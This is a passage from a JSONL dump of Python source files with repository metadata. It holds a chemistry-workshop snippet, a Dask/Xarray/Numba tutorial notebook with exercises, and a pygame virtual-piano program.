enthalpy\nH_rxn = rxn.get_delta_H(units='kcal/mol', T=298.)\nprint('H_rxn = {:.1f} kcal/mol'.format(H_rxn))\n\n# 5. Calculate the forward activation energy\nEa = rxn.get_E_act(units='kcal/mol', T=298.)\nprint('Ea_fwd = {:.1f} kcal/mol'.format(Ea))\n\n", "meta": {"hexsha": "548253ec6e02040f75c65ffd18ea5f2f32689835", "size": 24071, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/source/examples_jupyter/nam2019/NAM_2019_Workshop.py", "max_stars_repo_name": "wittregr/pMuTT", "max_stars_repo_head_hexsha": "1678fd3d3a10d8ef5389c02970a7ebaa92fc7344", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 28, "max_stars_repo_stars_event_min_datetime": "2018-10-29T17:44:30.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-23T14:20:16.000Z", "max_issues_repo_path": "docs/source/examples_jupyter/nam2019/NAM_2019_Workshop.py", "max_issues_repo_name": "wittregr/pMuTT", "max_issues_repo_head_hexsha": "1678fd3d3a10d8ef5389c02970a7ebaa92fc7344", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 101, "max_issues_repo_issues_event_min_datetime": "2018-10-18T19:49:30.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-19T10:59:57.000Z", "max_forks_repo_path": "docs/source/examples_jupyter/nam2019/NAM_2019_Workshop.py", "max_forks_repo_name": "wittregr/pMuTT", "max_forks_repo_head_hexsha": "1678fd3d3a10d8ef5389c02970a7ebaa92fc7344", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 16, "max_forks_repo_forks_event_min_datetime": "2018-12-15T17:01:21.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-03T17:42:23.000Z", "avg_line_length": 32.8390177353, "max_line_length": 496, "alphanum_fraction": 0.651323169, "include": true, "reason": "import numpy", "num_tokens": 7437, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552953503957277, "lm_q2_score": 0.1732882059293266, "lm_q1q2_score": 0.07720501381553461}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.6.0\n#   kernelspec:\n#     display_name: deep_ml_curriculum\n#     language: python\n#     name: deep_ml_curriculum\n# ---\n\n# # Introduction to Dask\n# There are many occasions when we have to work with datasets that are so big we can't just load all of it into memory. If we have to work with such a data, what is the solution? One of the libraries in python for this type of problems is __Dask__. Dask is a library for parallel computing. It helps us perform common pandas and numpy opperations on large datasets. In this tutorial we will learn about some of the features of Dask and how it can help us.\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport dask\nimport dask.dataframe as dd\nimport os\nimport logging\nimport psutil\n\n# For the beginning to see the difference in the performance of Dask vs Pandas, let's read a 70 MB csv file with both libraries. Of course 70 MB is not considered a large file and we can easily fit it into memory, but it is large enough to see the advantage of using Dask.\n\npath = \"../../data/processed/MNIST/train.csv\"\n\n\n# We are also defining a function to report memory usage, so we can see how each method affect the memory.\n\ndef memory_usage():\n    \"\"\"String with current memory usage in MB. Requires `psutil` package.\"\"\"\n    pid = os.getpid()\n    mem_bytes = psutil.Process(pid).memory_info().rss\n    print('[Process {} uses {:.1f}MB]'.format(pid, mem_bytes / 1024 / 1024))\n    return mem_bytes / 1024 / 1024\n\n\n\nmemory_usage()\n\n# You should be able to see the amount of used memory.<br>\n# Now let's load the data with pandas and see how long it takes to load and how much memory it takes.\n\n# %%time\ndf1 = pd.read_csv(path)\n\nmemory_usage()\n\n# The memory usage has gone up by about ~250 MB.<br>\n# Now do the same with Dask.\n\n# %%time\ndf2=dd.read_csv(path)\n\nmemory_usage()\n\n# Dask read the file in a fraction of a second and used only about 3 MB of memory. How is that possible?\n#\n# It's because Dask doesn't load the data into memory. The data is still on the disk. It only reads the data when it needs to perform calculations.\n#\n\n# Now, let's calculate the mean for the first 100 columns.\n\n# %%time\ndf1.iloc[:,:100].mean()\n\n# As you can see pandas does the calculations in a fraction of a second. <br>\n# Let's try Dask:\n\n# %%time\navg = df2.iloc[:,100:200].mean()\n\n# Dask is also did the operation very quickly. Let's have a look at the output.\n\navg\n\n# It's not returning any numbers. What is happening?<br>\n# The reason is Dask has not calculated the result yet. It only creates a dependency graph (also called Directed Acyclec Graph - DAG), which is basically how the calculations will take place. We need to execute the graph to see the result.\n\n# %%time\navg.compute()\n\n# Now we can see the results. Also, we can see that this step is the most time consuming step of all. It's because this is where Dask actually goes to disk and reads the data. If you add up the time for all the steps (reading the file and performing calculations) you will see that both take almost the same amount of time to do the operation, with pandas being slightly faster. This shows that Dask is not doing any magic. It's doing the same steps but it's doing it without using as much memory. However, Dask can perform operations in parallel using multiple cpu cores and even multiple machines. \n\n# We mentioned that Dask creates a dependency graph before doing the calculations. We can have a look at this graph and see how it is taking place:\n\n# <div class='alert alert-danger'>To see the graph you need a library called <b>GraphViz</b>. If this library is not installed on your system you will not be able to see the graph.</div>\n\n# Here is one we prepared earlier:\n#\n# ![](img/dask_graphviz.png)\n\n# +\n# Try commenting this out\n# # avg.visualize()\n# -\n\n# You can also create a progress bar for each computation:\n\nfrom dask.diagnostics import ProgressBar\navg = df2.iloc[:, 100:200].mean()\ntask = avg.mean()\n\n\n\nwith ProgressBar():\n    task.compute()\n\n# [Dask dataframe](https://docs.dask.org/en/latest/dataframe-api.html) is very similar to pandas dataframe. It's mostly a subset of the pandas api. Even though the functionalities are limited but you will find many methods from pandas dataframe in Dask as well.\n#\n# A few operations are missing, and some are especially expensive: those that read the whole array. An example is sort.\n\ntask = df2.rolling(window=10).mean().max()\n\nwith ProgressBar():\n    ma_max = task.compute()\n\nma_max\n\ntask = df2[[\"label\", \"pixel100\", \"pixel300\", \"pixel500\"]].groupby(\"label\").mean()\n\nwith ProgressBar():\n    result = task.compute()\n\nresult\n\ndf2\n\n#  <div class=\"alert alert-success\">\n#   <h2>Exercise</h2>\n#\n# Use Dask dataframe of MNIST (df2) and follow these steps:\n#     \n# 1. Add a new column called `sum` to the dataframe which contains sum of all the pixels\n# 2. Use groupby to find the mean value for `sum` for each label\n#       \n#\n#   <details>\n#   <summary><b>\u2192 Hints</b></summary>\n#\n#   * Columns 1 onwards are the pixels. You can access them with `pixels=df2.iloc[:, 1:]`\n#   * Instead of `df['sum']=pixels.sum()` try `df['sum']=pixels.sum(axis=1)` because we want to sum along columns, not rows\n#   * If the dask output is confusing, try with df1 first\n#   * to groupby use `df2.groupby('label').?`, where you replace the `?` with the aggregation operation\n#\n#   </details>\n#\n#   <br/>\n#   <br/>\n#   <details>\n#   <summary>\n#     <b>\u2192 Solution</b>\n#   </summary>\n#\n#   ```python\n#     # With pandas\n#     pixels = df1.loc[:, ['pixel' in c for c in df1.columns]]\n#     df1['sum']=pixels.sum(axis=1)\n#     task = df1[['label','sum']].groupby('label').mean()\n#     print(result)\n#\n#     # With dask\n#     pixels = df2.loc[:, ['pixel' in c for c in df2.columns]]\n#     df2['sum']=pixels.sum(axis=1)\n#     task = df2[['label','sum']].groupby('label').mean()\n#     with ProgressBar():\n#         result=task.compute() \n#     print(result)\n#   ```\n#\n#   </details>\n#\n#\n# </div>\n\n# +\n# With pandas\n# pixels = df1.loc[:, ['pixel' in c for c in df1.columns]]\npixels = df1.loc[:, 'pixel1':'pixel783']\npixels\ndf1['sum']=pixels.sum(axis=1)\ndf1['sum']\n# task = df1[['label','sum']].groupby('label').mean()\ndf1[['label','sum']].groupby('label').mean()\n\ngg = df1[['label','sum']].groupby('label')\nlist(gg)[0]\n# df1.loc[:, 'pixel1':'pixel783'].csum\n# print(result)\n\n# # With dask\npixels = df2.loc[:, ['pixel' in c for c in df2.columns]]\npixels\n# df2['sum']=pixels.sum(axis=1)\n# task = df2[['label','sum']].groupby('label').mean()\n# with ProgressBar():\n#     result=task.compute() \n# print(result)\n# -\n\n# ## When to use Dask DataFrame?\n#\n# Lets visit [the dask page](https://docs.dask.org/en/latest/dataframe.html#common-uses-and-anti-uses) to look at when we should use it\n#\n# It is harder so only if you dataset is larger than memory.\n#\n# If fact also consider:\n# - a database (if you have lots of structured queries)\n# - https://downloadmoreram.com/ ;p\n# - dask array\n\n# ## Dask Array\n# Dask is not just used to replace pandas. There are also multiple numpy functions which can be replaced by Dask. Dask array is Dask equivalent of a numpy array. By doing so, we can perform the computations in parallel and get the results faster.\n\nfrom dask import array\n\nbig_array = array.random.normal(size=(10000000, 100), chunks=200000)\n\nbig_array\n\n# This data takes 8 GB if we wanted to store it in RAM. But Dask only generates the numbers in chunks when it needs them. So at each steps it has to deal with a chunk which is ~160 MB in this case.\n\ntask = (big_array * big_array).mean(axis=1)\nwith ProgressBar():\n    res = task.compute()\n\n# We can set the chunk size:\n\nbig_array = array.random.normal(size=(10000000, 100), chunks=(2 ** 19, 100))\nbig_array\n\ntask = (big_array * big_array).mean(axis=1)\nwith ProgressBar():\n    res = task.compute()\n\n# We can also apply most of common numpy functions to the array.\n\ntask = np.sin(big_array).mean(axis=0)\nwith ProgressBar():\n    res = task.compute()\n\ntask\n\nres\n\n# ### Exercise\n#\n# - Create two Dask random arrays of size 10,000,000-by-100. \n# - Find the difference between the two `y = ..`\n# - and pass it to `array.linalg.norm` using argument `axis=1`. \n# - Calculate the result and create a histogram of it.\n\nfrom matplotlib.pyplot import hist\n\n#  <div class=\"alert alert-success\">\n#   <h2>Exercise</h2>\n#\n#   Description:\n#\n# - Create two Dask random arrays of size 10,000,000-by-100. \n# - Find the difference between the two `y = ..`\n# - and pass it to `array.linalg.norm` using argument `axis=1`. \n# - Calculate the result and create a histogram of it.\n#       \n#\n#   <details>\n#   <summary><b>\u2192 Hints</b></summary>\n#       \n#       Replace the question marks `?`\n#\n# ```python\n# a = array.random.normal(size=(10000000, 100), chunks=200000)\n# b = array.random.normal(size=(10000000, 100), chunks=200000)\n# r = array.linalg.norm(?, axis=1)\n# r.?\n# ```\n#\n#   </details>\n#\n#   <br/>\n#   <br/>\n#   <details>\n#   <summary>\n#     <b>\u2192 Solution</b>\n#   </summary>\n#\n#   ```python\n#     x1 = array.random.random(size=(10000000,100))\n#     x2 = array.random.random(size=(10000000,100))\n#     y = x2-x1\n#     d = array.linalg.norm(y,axis=1)\n#     with ProgressBar():\n#         result = d.compute()\n#     plt.hist(result,bins=100);\n#   ```\n#\n#   </details>\n#\n#   </div>\n\n# ## Delayed\n# Dask delayed is a method for parallelising code where you can't write your code directly as dataframe or array operation. `Dask.delayed` is an easy-to-use tool to quickly parallelise these tasks.\n\n# Consider the following functions. The first one takes an input, waits for one second and returns the value. The second function takes two inputs, waits for one second and returns the sum. We are using these functions to represent tasks that are time consuming.\n\n# +\nfrom time import sleep\n\n\ndef task1(x):\n    sleep(1)\n    return x\n\n\ndef task2(x, y):\n    sleep(1)\n    return x + y\n\n\n# -\n\n# Now, if we pass two values separately into the first function and then pass the results into the second function, we will have the following code:\n\n# %%time\nx1 = task1(1)\nx2 = task1(2)\ny = task2(x1,x2)\n\n# Since each of these functions are taking one second; therefore, the entire block takes three seconds. But the calculation for `x1` is totally independent of the calculation for `x2`. If we were able to do these operation simultaneously we could save time. This is where `Dask.delayed` comes into play. We need to convert the functions into `delayed` functions so Dask can handle parallelisation.\n\ntask1_delayed = dask.delayed(task1)\ntask2_delayed = dask.delayed(task2)\n\n# And now instead of the original function we use the delayed functions:\n\n# %%time\nx1 = task1_delayed(1)\nx2 = task1_delayed(2)\ny = task2_delayed(x1,x2)\n\n# %%time\ny.compute()\n\n\n# And we saved one second! `x1` and `x2` where calculated in parallel, and then `y` was calculated using `x1` and `x2`.\n\n# We can directly create delayed functions using `dask.delayed` decorator.\n\n# +\n@dask.delayed\ndef task1(x):\n    sleep(1)\n    return x\n\n\n@dask.delayed\ndef task2(x, y):\n    sleep(1)\n    return x + y\n\n\n# -\n\n# %%time\nx1 = task1(1)\nx2 = task1(2)\ny = task2(x1,x2)\ny.compute()\n\n# # Xarray\n#\n# Xarray is pandas for N-dimensional data. It also has a [dask backend](http://xarray.pydata.org/en/stable/dask.html)\n\n# +\n# %matplotlib inline\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nimport matplotlib.pyplot as plt\n\nds = xr.tutorial.open_dataset('rasm').load().chunk(dict(time=10))\nds\n\n# +\n# You can use isel instead of iloc. You always need to specify the dimension\nds.isel(time=10)['Tair'].plot.pcolormesh(\n        vmin=-30, vmax=30, cmap='Spectral_r',\n        add_colorbar=True, extend='both')\n\nds.isel(time=10)\nplt.title('Seasonal Surface Air Temperature')\n# -\n\n# You can also resample by date\nres = ds.resample(time='A').mean().isel(x=200, y=200)['Tair']\n# The result is a dask array\nres\n\n# But you can use .compute\nres.compute()\n\n# You can see all the datetime methods\nprint(ds.time.dt)\ndir(ds.time.dt)\n\n# These are seasons specified by the months inside\n# JJA = Jun, Jul, Aug.\nds.time.dt.season\n\n# <div class=\"alert alert-success\">\n#   <h2>Exercise</h2>\n#\n#   1. Look at the output of `ds.time.dt.season`\n#   2. Try grouping by season and getting the mean\n#   3. Plot each season (use the plotting code from above)\n#       \n#\n#   <details>\n#   <summary><b>\u2192 Hints</b></summary>\n#\n#   * You do a for loop over groups `for season, ds_season in ds.groupby(ds.time.dt.season):`\n#   * You need to remove the time dimension, with `.mean('time')`\n#   * Use  `mean['Tair'].plot.pcolormesh()` to plot\n#\n#   </details>\n#\n#   <br/>\n#   <br/>\n#   <details>\n#   <summary>\n#     <b>\u2192 Solution</b>\n#   </summary>\n#\n#   ```python\n#     for season, ds_season in ds.groupby(ds.time.dt.season):    \n#         mean = ds_season.mean('time')\n#         mean['Tair'].plot.pcolormesh(\n#             vmin=-30, vmax=30)\n#         plt.title(season)\n#         plt.show()\n#   ```\n#\n#   </details>\n#\n#   </div>\n\n# # Introduction to Numba\n\n# ## What is Numba?\n#\n# Numba is a **just-in-time**, **type-specializing**, **function compiler** for accelerating **numerically-focused** Python.  That's a long list, so let's break down those terms:\n#\n#  * **function compiler**: Numba compiles Python functions, not entire applications, and not parts of functions.  Numba does not replace your Python interpreter, but is just another Python module that can turn a function into a (usually) faster function. \n#  * **type-specializing**: Numba speeds up your function by generating a specialized implementation for the specific data types you are using.  Python functions are designed to operate on generic data types, which makes them very flexible, but also very slow.  In practice, you only will call a function with a small number of argument types, so Numba will generate a fast implementation for each set of types.\n#  * **just-in-time**: Numba translates functions when they are first called.  This ensures the compiler knows what argument types you will be using.  This also allows Numba to be used interactively in a Jupyter notebook just as easily as a traditional application\n#  * **numerically-focused**: Currently, Numba is focused on numerical data types, like `int`, `float`, and `complex`.  There is very limited string processing support, and many string use cases are not going to work well on the GPU.  To get best results with Numba, you will likely be using NumPy arrays.\n#\n\n# ### First Steps\n#\n# Let's write our first Numba function and compile it for the **CPU**.  The Numba compiler is typically enabled by applying a *decorator* to a Python function.  Decorators are functions that transform Python functions.  Here we will use the CPU compilation decorator:\n\n#\n# The length of the hypotenuse of a triangle is\n#  \n# $r = \\sqrt{x^2 + y^2}.$\n#\n# However, the squares of very large or small values of x and y may exceed the range of machine precision when calculated on a computer, leading to an inaccurate result caused by arithmetic underflow and/or arithmetic overflow.\n#\n# $ hypot = |x| \\sqrt{1 + \\left(\\tfrac{y}{x}\\right)^2}$\n#\n#\n\n# +\nfrom numba import jit\nimport math\n\n\n@jit\ndef hypot(x, y):\n    # Implementation from https://en.wikipedia.org/wiki/Hypot\n    x = abs(x)\n    y = abs(y)\n    t = min(x, y)\n    x = max(x, y)\n    t = t / x\n    return x * math.sqrt(1 + t * t)\n\n\n# -\n\n# The above code is equivalent to writing:\n# ``` python\n# def hypot(x, y):\n#     x = abs(x);\n#     y = abs(y);\n#     t = min(x, y);\n#     x = max(x, y);\n#     t = t / x;\n#     return x * math.sqrt(1+t*t)\n#     \n# hypot = jit(hypot)\n# ```\n# This means that the Numba compiler is just a function you can call whenever you want!\n#\n# Let's try out our hypotenuse calculation:\n\n# %%time\nhypot(3.0, 4.0)\n\n# The first time we call `hypot`, the compiler is triggered and compiles a machine code implementation for float inputs.  Numba also saves the original Python implementation of the function in the `.py_func` attribute, so we can call the original Python code to make sure we get the same answer:\n\n# %%time\nhypot.py_func(3.0, 4.0)\n\n# ### Benchmarking\n#\n# An important part of using Numba is measuring the performance of your new code.  Let's see if we actually sped anything up.  The easiest way to do this in the Jupyter notebook is to use the `%timeit` magic function.  Let's first measure the speed of the original Python:\n\n# %timeit hypot.py_func(3.0, 4.0)\n\n# The `%timeit` magic runs the statement many times to get an accurate estimate of the run time.\n\n# %timeit hypot(3.0, 4.0)\n\n# Numba did a pretty good job with this function.  It's 3x faster than the pure Python version.\n#\n# Of course, the `hypot` function is already present in the Python module:\n\n# %timeit math.hypot(3.0, 4.0)\n\n# Python's built-in is even faster than Numba!  This is because Numba does introduce some overhead to each function call that is larger than the function call overhead of Python itself.  Extremely fast functions (like the above one) will be hurt by this.\n#\n# (However, if you call one Numba function from another one, there is very little function overhead, sometimes even zero if the compiler inlines the function into the other one.)\n\n# ### How does Numba work?\n#\n# The first time we called our Numba-wrapped `hypot` function, the following process was initiated:\n#\n# ![Numba Flowchart](img/numba_flowchart.png \"The compilation process\")\n#\n# We can see the result of type inference by using the `.inspect_types()` method, which prints an annotated version of the source code:\n\nhypot.inspect_types()\n\n\n# Note that Numba's type names tend to mirror the NumPy type names, so a Python `float` is a `float64` (also called \"double precision\" in other languages).  Taking a look at the data types can sometimes be important in GPU code because the performance of `float32` and `float64` computations will be very different on CUDA devices.  An accidental upcast can dramatically slow down a function.\n\n# ### When Things Go Wrong\n#\n# Numba cannot compile all Python code.  Some functions don't have a Numba-translation, and some kinds of Python types can't be efficiently compiled at all (yet).  For example, Numba does not support `FrozenSet` (as of this tutorial):\n\n# +\n@jit\ndef cannot_compile(x):\n    return \"a\" in x\n\n\ncannot_compile(frozenset((\"a\", \"b\", \"c\")))\n\n\n# -\n\n# Wait, what happened??  By default, Numba will fall back to a mode, called \"object mode,\" which does not do type-specialization.  Object mode exists to enable other Numba functionality, but in many cases, you want Numba to tell you if type inference fails.  You can force \"nopython mode\" (the other compilation mode) by passing arguments to the decorator:\n\n# +\n@jit(nopython=True)\ndef cannot_compile(x):\n    return \"a\" in x\n\ntry:\n    cannot_compile(frozenset((\"a\", \"b\", \"c\")))\nexcept Exception as e:\n    logging.exception(e)\n\n\n# -\n\n# Now we get an exception when Numba tries to compile the function, with an error that says:\n# ```\n# - argument 0: cannot determine Numba type of <class 'frozenset'>\n# ```\n# which is the underlying problem. Numba doesn't know about frozenset. There are classes that we use regularly in our code but they might not be defined in Numba. An example of a common class that you cannot use in Numba is pandas data frames. <br>Now the question is: what does Numba support? Some of the types/classes that are supported by Numba are listed below:\n# * Numbers (integers, floats, etc)\n# * Numpy arrays\n# * Strings\n# * Lists and tuples (note that a list/tuple of numbers or strings is supported but a list of lists is not)\n\n# So, if we want the last example to be compiled successfully by Numba jit, we need to use a tuple or a list.\n\n# +\n@jit(nopython=True)\ndef can_compile(x):\n    return \"a\" in x\n\n\ncan_compile((\"a\", \"b\", \"c\"))\n# -\n\n# ### Exercise\n# Gregory\u2013Leibniz infinite series converges to $\\pi$:\n# $$\\pi = \\frac{4}{1} - \\frac{4}{3} + \\frac{4}{5} - \\frac{4}{7} + \\frac{4}{9} - \\frac{4}{11} + \\frac{4}{13} - \\cdots$$\n#\n# Write a Numba function which calculates the sum of first $n$ terms in this series. Then test its speed agains normal Python function for $ n = 1000000$.\n\n# +\n# Code Here\n# -\n\n# <details><summary>Solution</summary>\n#\n# ```Python\n#     @jit\n#     def gl_pi(n):\n#         pi = 0\n#         for i in range(n):\n#             if i%2 ==0:\n#                 pi += 4/(2*i+1)\n#             else:\n#                 pi -= 4/(2*i+1)\n#         return pi \n# ```\n#\n# <b>Numba function speed test:</b>\n# ```Python\n#     %timeit gl_pi(1000000) \n# ```\n#     \n# <b>Normal Python function speed test:</b>\n# ```Python\n#     %timeit gl_pi.py_func(1000000) \n# ```\n#     \n# </details>\n\n# # References\n# The following sources where used for creation of this notebook:\n# - https://github.com/NCAR/ncar-python-tutorial\n# - https://github.com/stevesimmons/pydata-ams2017-pandas-and-dask-from-the-inside\n# - https://github.com/numba/euroscipy2019-numba\n\n# # Further Reading\n# - [Dask documentation](https://docs.dask.org/en/latest/)\n# - [Why Dask?](https://docs.dask.org/en/latest/why.html)\n# - [Distributed Machine Learning with Python and Dask](https://towardsdatascience.com/distributed-machine-learning-with-python-and-dask-2d6bae91a726)\n# - [Speeding up your Algorithms \u2014 Dask](https://towardsdatascience.com/speeding-up-your-algorithms-part-4-dask-7c6ed79994ef)\n# - [Speeding Up your Algorithms \u2014 Numba](https://towardsdatascience.com/speed-up-your-algorithms-part-2-numba-293e554c5cc1)\n", "meta": {"hexsha": "748c8ed3a55ad7e20725b053cd75f57986805c5d", "size": 21597, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/c05_Big_Data/Working_with_Big_Data.py", "max_stars_repo_name": "lixuekai2001/ml_for_log_data", "max_stars_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-09-24T06:34:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-18T14:43:11.000Z", "max_issues_repo_path": "notebooks/c05_Big_Data/Working_with_Big_Data.py", "max_issues_repo_name": "lixuekai2001/ml_for_log_data", "max_issues_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/c05_Big_Data/Working_with_Big_Data.py", "max_forks_repo_name": "lixuekai2001/ml_for_log_data", "max_forks_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2020-10-14T07:13:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-23T01:59:41.000Z", "avg_line_length": 33.0229357798, "max_line_length": 600, "alphanum_fraction": 0.6918090476, "include": true, "reason": "import numpy,from numba", "num_tokens": 5881, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936415888237616, "lm_q2_score": 0.21469141911224193, "lm_q1q2_score": 0.07715240124853452}}
{"text": "import numpy as np\nimport pygame as pg\nimport argparse\nfrom os import path\n\n\nclass Piano():\n\tdef __init__(self, samplerate=44100, amplitude=8192, decay=3, note_value=2.5):\n\t\t\"\"\"\n\t\tInitialize pygame mixer, read file with keybindings, generate sound waves\n\t\t\"\"\"\n\t\tpg.mixer.init(samplerate, channels=2)\n\n\t\tself.SAMPLERATE = samplerate\n\t\tself.AMPLITUDE = amplitude\n\t\tself.DECAY = decay\n\t\tself.NOTE_VALUE = note_value\n\n\t\tself.notes = [\n\t\t\t\t\t'C3', 'C#3', 'D3', 'D#3', 'E3', 'F3', 'F#3', 'G3', 'G#3', 'A3', 'A#3', 'B3',\n\t\t\t\t\t'C4', 'C#4', 'D4', 'D#4', 'E4', 'F4', 'F#4', 'G4', 'G#4', 'A4', 'A#4', 'B4',\n\t\t\t\t\t'C5', 'C#5', 'D5', 'D#5', 'E5', 'F5', 'F#5', 'G5', 'G#5', 'A5', 'A#5', 'B5'\n\t\t\t\t]\n\n\t\tbase_freq = np.array([[261.63, 523.25, 788.35, 1051.027, 2118.91]]).T\n\t\tampl = np.array([[amplitude, amplitude/2, amplitude/4, amplitude/8, amplitude/16]]).T\n\t\tsounds = list()\n\t\tfor n in range(-12, 24):\n\t\t\tfreq = base_freq * 2 ** (n / 12)\n\t\t\tdata = np.linspace(0, self.NOTE_VALUE, int(self.SAMPLERATE*self.NOTE_VALUE))\n\t\t\tdata = (ampl * np.sin(2 * np.pi * freq * data) / np.exp(self.DECAY*data))\n\t\t\tdata = np.sum(data, axis=0).astype(np.int16)\n\t\t\tdata = data.reshape(-1, 1)\n\t\t\tdata = np.concatenate([data, data], axis=1)\n\t\t\tsounds.append(pg.sndarray.make_sound(data))\n\t\twith open(path.join('misc', 'pianokeys.mapping')) as f:\n\t\t\tself.keys = f.read().split('\\n')\n\t\tself.key_note = dict(zip(self.keys, sounds))\n\t\tself.pressed = {key: False for key in self.keys}\n\n\n\tdef play_note(self, key):\n\t\tself.key_note[key].stop()\n\t\tself.key_note[key].play()\n\n\n\tdef start_playing(self, notes_file=''):\n\t\tpg.init()\n\n\t\ticon = pg.image.load(path.join('misc', 'icon.png'))\n\t\tpg.display.set_icon(icon)\n\t\tpg.display.set_caption(\"Virtual Piano\")\n\n\t\tif not notes_file:\n\t\t\tSIZE = (973, 282)\n\t\t\tself.notes_file = notes_file\n\t\telse:\n\t\t\tSIZE = (973, 482)\n\t\t\tpg.font.init()\n\n\t\tself.screen = pg.display.set_mode(SIZE)\n\t\tself.screen.fill((20, 11, 10))\n\t\tbg = pg.image.load(path.join('misc', \"keys.png\")).convert()\n\t\tself.screen.blit(bg, (0, SIZE[1]-282))\n\n\t\tif notes_file:\n\t\t\tself.WIDTH = 400\n\t\t\tself.HEIGHT = 150\n\t\t\tself.LEFT = (SIZE[0]-self.WIDTH)//2\n\t\t\tself.TOP = (SIZE[1]-282-self.HEIGHT)//2\n\n\t\t\tself.RECT = pg.Rect(self.LEFT, self.TOP, self.WIDTH, self.HEIGHT)\n\t\t\tpg.draw.rect(self.screen, (245, 241, 230), self.RECT)\n\n\t\t\tself.CURRENT_COLOR = (0, 0, 0)\n\t\t\tself.OTHER_COLOR = (122, 122, 122)\n\t\t\tself.FONT = pg.font.Font(None, 22)\n\n\t\tpg.display.flip()\n\n\t\tif not notes_file:\n\t\t\twhile True:\n\t\t\t\tevent = pg.event.wait()\n\t\t\t\tif event.type in [pg.KEYDOWN, pg.KEYUP]:\n\t\t\t\t\tif event.key == pg.K_ESCAPE:\n\t\t\t\t\t\tpg.quit()\n\t\t\t\t\t\tquit()\n\t\t\t\t\tcurrent_key = pg.key.name(event.key)\n\n\t\t\t\tif event.type == pg.KEYDOWN and current_key in self.key_note.keys():\n\t\t\t\t\tself.play_note(current_key)\n\t\telse:\n\t\t\tsheet = self.load_notes(notes_file)\n\t\t\tself.SPACE_BETWEEN = self.WIDTH // len(sheet[0]) - 7\n\n\t\t\tcurrent_idx = 0\n\t\t\tself.display_notes(sheet, current_idx)\n\n\t\t\twhile True:\n\t\t\t\tevent = pg.event.wait()\n\t\t\t\tif event.type in [pg.KEYDOWN, pg.KEYUP]:\n\t\t\t\t\tif event.key == pg.K_ESCAPE:\n\t\t\t\t\t\tpg.quit()\n\t\t\t\t\t\tquit()\n\t\t\t\t\tcurrent_key = pg.key.name(event.key)\n\n\t\t\t\tif event.type == pg.KEYDOWN and current_key in self.key_note.keys():\n\t\t\t\t\tself.play_note(current_key)\n\t\t\t\t\tself.pressed[current_key] = True\n\n\t\t\t\tif event.type == pg.KEYUP and current_key in self.key_note.keys():\n\t\t\t\t\tself.pressed[current_key] = False\n\t\t\t\t\tif not any(self.pressed.values()):\n\t\t\t\t\t\tcurrent_idx = self.display_notes(sheet, current_idx + 1)\n\n\n\tdef load_notes(self, notes_file):\n\t\tparsed = list()\n\t\tnote_key = dict(zip(self.notes, self.keys))\n\t\twith open(notes_file) as file:\n\t\t\tlines = file.read().split('\\n')[:-1]\n\t\t\tfor line in lines:\n\t\t\t\tparsed_line = list()\n\t\t\t\tfor chord in line.split():\n\t\t\t\t\tres = ''\n\t\t\t\t\tfor note in chord.split('.'):\n\t\t\t\t\t\tres += note_key[note]\n\t\t\t\t\tparsed_line.append(res)\n\t\t\t\tparsed.append(parsed_line)\n\t\treturn parsed\n\n\n\tdef display_notes(self, notes, current):\n\t\tpg.draw.rect(self.screen, (245, 241, 230), self.RECT)\n\t\tif len(notes):\n\t\t\tif current >= len(notes[0]):\n\t\t\t\tcurrent = 0\n\t\t\t\tnotes.pop(0)\n\t\t\tif not len(notes):\n\t\t\t\tpg.display.update(self.RECT)\n\t\t\t\treturn 0\n\n\t\t\tleft = self.LEFT + self.SPACE_BETWEEN\n\t\t\tfor i in range(len(notes[0])):\n\t\t\t\tcolor = self.OTHER_COLOR\n\t\t\t\tif current == i: color = self.CURRENT_COLOR\n\t\t\t\tnote = self.FONT.render(notes[0][i], True, color)\n\t\t\t\tself.screen.blit(note, (left, self.TOP + self.HEIGHT//3))\n\t\t\t\tleft += self.SPACE_BETWEEN + 5*len(notes[0][i])\n\n\t\t\tif len(notes) > 1:\n\t\t\t\tleft = self.LEFT + self.SPACE_BETWEEN\n\t\t\t\tfor i in range(len(notes[1])):\n\t\t\t\t\tnote = self.FONT.render(notes[1][i], True, self.OTHER_COLOR)\n\t\t\t\t\tself.screen.blit(note, (left, self.TOP + self.HEIGHT//3*2))\n\t\t\t\t\tleft += self.SPACE_BETWEEN + 5*len(notes[1][i])\n\n\t\t\tpg.display.update(self.RECT)\n\n\t\t\treturn current\n\t\telse:\n\t\t\tpg.display.update(self.RECT)\n\t\t\treturn 0\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(description='Virtual piano with Python')\n\n\tparser.add_argument(\n\t\t'-n', '--notes',\n        default='',\n        help='(Optional) File with notes to play')\n\n\targs = parser.parse_args()\n\n\tpiano = Piano()\n\tpiano.start_playing(args.notes)\n", "meta": {"hexsha": "6700b76f19291b24d1434615e7eaef27045f3661", "size": 5112, "ext": "py", "lang": "Python", "max_stars_repo_path": "piano.py", 